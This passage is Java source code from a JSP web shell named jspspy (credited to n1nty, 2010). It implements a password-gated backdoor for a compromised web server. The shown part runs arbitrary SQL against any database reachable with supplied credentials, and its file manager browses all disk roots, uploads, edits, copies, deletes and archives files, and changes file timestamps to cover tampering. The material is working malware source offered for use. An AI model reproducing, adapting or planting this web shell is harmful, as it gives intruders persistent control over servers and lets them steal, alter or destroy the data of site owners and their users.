"        form.elements[\"url\"].value = v.split(\"`\")[1];"+
"        form.elements[\"driver\"].value = v.split(\"`\")[0];"+
"        form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
"    }"+
"  </script>");
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
"<h2>DataBase Manager &raquo;</h2>"+
"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
"<p>"+
"Driver:"+
"  <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\"  />"+
"URL:"+
"<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"+
"UID:"+
"<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"+
"PWD:"+
"<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"+
"DataBase:"+
" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
" <option value=' ` '>Other</option>"+
" </select>"+
"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"+
"</p>"+
"</form></table><script>changeurldriver()</script>");
} else {
((Invoker)ins.get("dbc")).invoke(request,response,JSession);
}
} catch (ClassCastException e) {
throw e;
} catch (Exception e) {

throw e ;
}
}
}
//DBConnect
private static class DbcInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String driver = request.getParameter("driver");
String url = request.getParameter("url");
String uid = request.getParameter("uid");
String pwd = request.getParameter("pwd");
String sql = request.getParameter("sql");
String selectDb = request.getParameter("selectDb");
if (selectDb == null)
selectDb = JSession.getAttribute("selectDb").toString();
else
JSession.setAttribute("selectDb",selectDb);
Object dbo = JSession.getAttribute(DBO);
if (dbo == null || !((DBOperator)dbo).isValid()) {
if (dbo != null)
((DBOperator)dbo).close();
dbo = new DBOperator(driver,url,uid,pwd,true);
} else {
if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
DBOperator oldDbo = (DBOperator)dbo;
dbo = new DBOperator(driver,url,uid,pwd);
if (!oldDbo.equals(dbo)) {
((DBOperator)oldDbo).close();
((DBOperator)dbo).connect();
} else {
dbo = oldDbo;
}
}
} 
DBOperator Ddbo = (DBOperator)dbo;
JSession.setAttribute(DBO,Ddbo);
if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
Ddbo.getConn().setCatalog(request.getParameter("catalog"));
}
Util.outMsg(out,"Connect To DataBase Success!");
out.println("  <script type=\"text/javascript\">"+
"    function changeurldriver(selectDb){"+
"        var form = document.forms[\"form1\"];"+
"        if (selectDb){"+
"            form.elements[\"db\"].selectedIndex = selectDb"+
"        }"+
"        var v = form.elements[\"db\"].value;"+
"        form.elements[\"url\"].value = v.split(\"`\")[1];"+
"        form.elements[\"driver\"].value = v.split(\"`\")[0];"+
"        form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
"    }"+
"  </script>");
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
"<h2>DataBase Manager &raquo;</h2>"+
"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
"<p>"+
"Driver:"+
"  <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\"  />"+
"URL:"+
"<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"+
"UID:"+
"<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"+
"PWD:"+
"<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"+
"DataBase:"+
" <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
" <option value=' ` '>Other</option>"+
" </select>"+
"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"+
"</p>"+
"</form><script>changeurldriver('"+selectDb+"')</script>");
DatabaseMetaData meta = Ddbo.getConn().getMetaData();
out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
"<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
out.println("<option value='0'>-- Select a DataBase --</option>");
ResultSet dbs = meta.getCatalogs();
try {
while (dbs.next()){
out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
}
}catch(Exception ex) {
}
dbs.close();
out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");    
if (Util.isEmpty(sql)) {
String type = request.getParameter("type");
if (Util.isEmpty(type) || type.equals("switch")) {
ResultSet tbs = meta.getTables(null,null,null,null);
out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
tbs.close();
} else if (type.equals("struct")) {
String tb = request.getParameter("table");
if (Util.isEmpty(tb))
return;
ResultSet t = meta.getColumns(null,null,tb,null);
out.println(Table.rs2Table(t,"",false));
t.close();
}
}
} catch (Exception e) {
JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
throw e;
}
}
}
private static class ExecuteSQLInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String sql = request.getParameter("sql");
String db = request.getParameter("selectDb");
Object dbo = JSession.getAttribute(DBO);
if (!Util.isEmpty(sql)) {
if (dbo == null || !((DBOperator)dbo).isValid()) {
((Invoker)ins.get("vConn")).invoke(request,response,JSession);
return;
} else {
((Invoker)ins.get("dbc")).invoke(request,response,JSession);
Object obj = ((DBOperator)dbo).execute(sql);
if (obj instanceof ResultSet) {
ResultSet rs = (ResultSet)obj;
ResultSetMetaData meta = rs.getMetaData();
int colCount = meta.getColumnCount();
out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
for (int i=1;i<=colCount;i++) {
out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
}
out.println("</tr>");
Table tb = new Table();
while(rs.next()) {
Row r = new Row();
for (int i = 1;i<=colCount;i++) {
String v = null;
try {
v = rs.getString(i);
} catch (SQLException ex) {
v = "<<Error!>>";
}
r.addColumn(new Column(v));
}
tb.addRow(r);
}
out.println(tb.toString());
out.println("</table><br/>");
rs.close();
((DBOperator)dbo).closeStmt();
} else {
out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
}
}
} else {
((Invoker)ins.get("dbc")).invoke(request,response,JSession);
}
} catch (Exception e) {

throw e ;
}
}
}
private static class VLoginInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<html><head><title>jspspy</title><style type=\"text/css\">"+
"    input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
"a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
"    </style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
"<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"+
"      <p><span style=\"font:11px Verdana;\">Password: </span>"+
"        <input name=\"o\" type=\"hidden\" value=\"login\">"+
"        <input name=\"pw\" type=\"password\" size=\"20\">"+
"        <input type=\"hidden\" name=\"o\" value=\"login\">"+
"        <input type=\"submit\" value=\"Login\"><br/>"+
"<!--<span style=\"font:11px Verdana;\">Copyright &copy; 2010 NinTy </span><a href=\"http://www.forjj.com\" target=\"_blank\">www.Forjj.com</a>--></p>"+
"    </form><span style='font-weight:bold;color:red;font-size:12px'>CY... I Love You. I Do! by n1nty 2010/8/18</span></body></html>");
} catch (Exception e) {

throw e ;
}
}
}
private static class LoginInvoker extends DefaultInvoker{
public boolean doBefore() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String inputPw = request.getParameter("pw");
if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
return;
} else {
JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
response.sendRedirect(SHELL_NAME);
return;
}
} catch (Exception e) {

throw e ;
}
}
}
private static class MyComparator implements Comparator{
public int compare(Object obj1,Object obj2) {
                            try {
                                if (obj1 != null && obj2 != null) {
                                    File f1 = (File)obj1;
                                    File f2 = (File)obj2;
                                    if (f1.isDirectory()) {
                                        if (f2.isDirectory()) {
                                            return f1.getName().compareTo(f2.getName());
                                        } else {
                                            return -1;
                                        }
                                    } else { 
                                        if (f2.isDirectory()) {
                                            return 1;
                                        } else {
                                            return  f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
                                        }
                                    }                            
                                }
                                return 0;
                            } catch (Exception e) {
                                return 0;
                            }
}
}
private static class FileListInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
try {
String path2View = null;
PrintWriter out = response.getWriter();
String path = request.getParameter("folder");
String outEntry = request.getParameter("outentry");
if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
JSession.removeAttribute(ENTER);
JSession.removeAttribute(ENTER_MSG);
JSession.removeAttribute(ENTER_CURRENT_DIR);
}
Object enter = JSession.getAttribute(ENTER);
File file = null;
if (!Util.isEmpty(enter)) {
if (Util.isEmpty(path)) {
if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
path = "/";
else 
path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
}
file = new EnterFile(path);
((EnterFile)file).setZf((String)enter);
JSession.setAttribute(ENTER_CURRENT_DIR,path);
} else {
if (Util.isEmpty(path))
path = JSession.getAttribute(CURRENT_DIR).toString();
JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
file = new File(path);
}
path2View = Util.convertPath(path);
if (!file.exists()) {
throw new Exception(path+"Dont Exists !");
}
File[] list = file.listFiles();
Arrays.sort(list,new MyComparator());
out.println("<div style='margin:10px'>");
String cr = null;
try {
cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
}catch(Exception e) {
cr = "/";
}
File currentRoot = new File(cr);
out.println("<h2>File Manager - Current disk &quot;"+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"&quot; total (unknow)</h2>");
out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
"<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
"  <tr>"+
"    <td nowrap>Current Directory  <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
"    <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
"    <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
"  </tr>"+
"</table>"+
"</form>");
out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
"<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
"<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
" | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
" | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
" | ");
File[] roots = file.listRoots();
for (int i = 0;i<roots.length;i++) {
File r = roots[i];
out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
if (i != roots.length -1) {
out.println("|");
} 
}
out.println("</td>"+
"</tr></form>"+
"<tr class=\"head\"><td>&nbsp;</td>"+
"  <td>Name</td>"+
"  <td width=\"16%\">Last Modified</td>"+
"  <td width=\"10%\">Size</td>"+
"  <td width=\"20%\">Read/Write/Execute</td>"+
"  <td width=\"22%\">&nbsp;</td>"+
"</tr>");
if (file.getParent() != null) {
out.println("<tr class=alt1>"+
"<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
"<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
"</tr>");    
}
int dircount = 0;
int filecount = 0;
for (int i = 0;i<list.length;i++) {
                        File f = list[i];
if (f.isDirectory()) {
dircount ++;
out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
"<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
"<td nowrap>--</td>"+
"<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
"<td nowrap>");
if (enter != null) 
out.println("&nbsp;");
else 
out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
out.println("</td></tr>");
} else {
filecount++;
out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
"<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
"<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
"<td nowrap>"+
""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
"<td nowrap>"+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
if (enter == null ) {
out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
} else if (f.getName().endsWith(".rar")) {
out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
} else {
out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
}
}
out.println("</td></tr>");
}
}
out.println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"+
"  <td>");
if (enter != null) 
out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
else 
out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
out.println("</td>"+
"  <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
"</table>");
out.println("</div>");
if (file instanceof EnterFile)
((EnterFile)file).close();
} catch (ZipException e) {
JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
throw e;
} catch (Exception e) {
JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
throw e;
}
}
}
private static class LogoutInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public boolean doAfter() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
Object dbo = JSession.getAttribute(DBO);
if (dbo != null)
((DBOperator)dbo).close();
Object obj = JSession.getAttribute(PORT_MAP);
if (obj != null) {
ServerSocket s = (ServerSocket)obj;
s.close();
}
Object online = JSession.getAttribute(SHELL_ONLINE);
if (online != null)
((OnLineProcess)online).stop();
JSession.invalidate();
((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
} catch (ClassCastException e) {
JSession.invalidate();
((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
} catch (Exception e) {

throw e ;
}
}
}
private static class UploadInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public boolean doAfter() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
UploadBean fileBean = new UploadBean();
response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
fileBean.parseRequest(request);
File f = new File(JSession.getAttribute(CURRENT_DIR)+"/"+fileBean.getFileName());
if (f.exists() && f.length() > 0)
JSession.setAttribute(MSG,"<span style='color:green'>Upload File Success!</span>");
else
JSession.setAttribute("MSG","<span style='color:red'>Upload File Failed!</span>");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {
throw e ;
}
}
}
private static class CopyInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String src = request.getParameter("src");
String to = request.getParameter("to");
InputStream in = null;
Object enter = JSession.getAttribute(ENTER);
if (enter == null)
in = new FileInputStream(new File(src));
else {
ZipFile zf = new ZipFile((String)enter);
ZipEntry entry = zf.getEntry(src);
in = zf.getInputStream(entry);
}
BufferedInputStream input = new BufferedInputStream(in);
BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
byte[] d = new byte[1024];
int len = input.read(d);
while(len != -1) {
output.write(d,0,len);
len = input.read(d);
}
output.close();
input.close();
JSession.setAttribute(MSG,"Copy File Success!");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {

throw e ;
}
}
}
private static class BottomInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public boolean doAfter() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2010 <a href=\"http://www.forjj.com\" target=\"_blank\">http://www.Forjj.com/</a>&nbsp;&nbsp;<a target=\"_blank\" href=\"http://www.t00ls.net/\">[T00ls.Net]</a> All Rights Reserved."+
"</div>");
} catch (Exception e) {

throw e ;
}
}
}
private static class VCreateFileInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String path = request.getParameter("filepath");
File f = new File(path);
if (!f.isAbsolute()) {
String oldPath = path;
path = JSession.getAttribute(CURRENT_DIR).toString();
if (!path.endsWith("/"))
path+="/";
path+=oldPath;
f = new File(path);
f.createNewFile();
} else {
f.createNewFile();
}
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Create / Edit File &raquo;</h2>"+
"<input type='hidden' name='o' value='createFile'>"+
"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\"  />"+
" <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
"<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
"</form>"+
"</td></tr></table>");
} catch (Exception e) {

throw e ;
}
}
}
private static class VEditInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String path = request.getParameter("filepath");
String charset = request.getParameter("charset");
Object enter = JSession.getAttribute(ENTER);
InputStream input = null;
if (enter != null) {
ZipFile zf = new ZipFile((String)enter);
ZipEntry entry = new ZipEntry(path);
input = zf.getInputStream(entry);
} else {
File f = new File(path);
if (!f.exists())
return;
input = new FileInputStream(path);
}

BufferedReader reader = null;
if (Util.isEmpty(charset) || charset.equals("ANSI"))
reader = new BufferedReader(new InputStreamReader(input));
else
reader = new BufferedReader(new InputStreamReader(input,charset));
StringBuffer content = new StringBuffer();
String s = reader.readLine();
while (s != null) {
content.append(s+"\r\n");
s = reader.readLine();
}
reader.close();
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Create / Edit File &raquo;</h2>"+
"<input type='hidden' name='o' value='createFile'>"+
"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\"  />"+
" <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
"<p>");
if (enter != null)
out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
else 
out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
out.println("<input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
"</form>"+
"</td></tr></table>");

} catch (Exception e) {

throw e ;
}
}
}
private static class CreateFileInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String path = request.getParameter("filepath");
String content = request.getParameter("filecontent");
String charset = request.getParameter("charset");
BufferedWriter outs = null;
if (charset.equals("ANSI"))
outs = new BufferedWriter(new FileWriter(new File(path)));
else
outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
outs.write(content,0,content.length());
outs.close();
JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {

throw e ;
}
}
}
private static class VEditPropertyInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String filepath = request.getParameter("filepath");
File f = new File(filepath);
if (!f.exists())
return;
String read = f.canRead() ? "checked=\"checked\"" : "";
String write = f.canWrite() ? "checked=\"checked\"" : "";
Calendar cal = Calendar.getInstance();
cal.setTimeInMillis(f.lastModified());

out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Set File Property &raquo;</h2>"+
"<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\"  /></p>"+
"<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
"<p>"+
"  <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
"  <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
"</p>"+
"<p>Instead &raquo;"+
"year:"+
"<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\"  />"+
"month:"+
"<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\"  />"+
"day:"+
"<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\"  />"+
""+
"hour:"+
"<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\"  />"+
"minute:"+
"<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\"  />"+
"second:"+
"<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\"  />"+
"</p>"+
"<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
"</form>"+
"</td></tr></table>");
} catch (Exception e) {
throw e ;
}
}
}
private static class EditPropertyInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
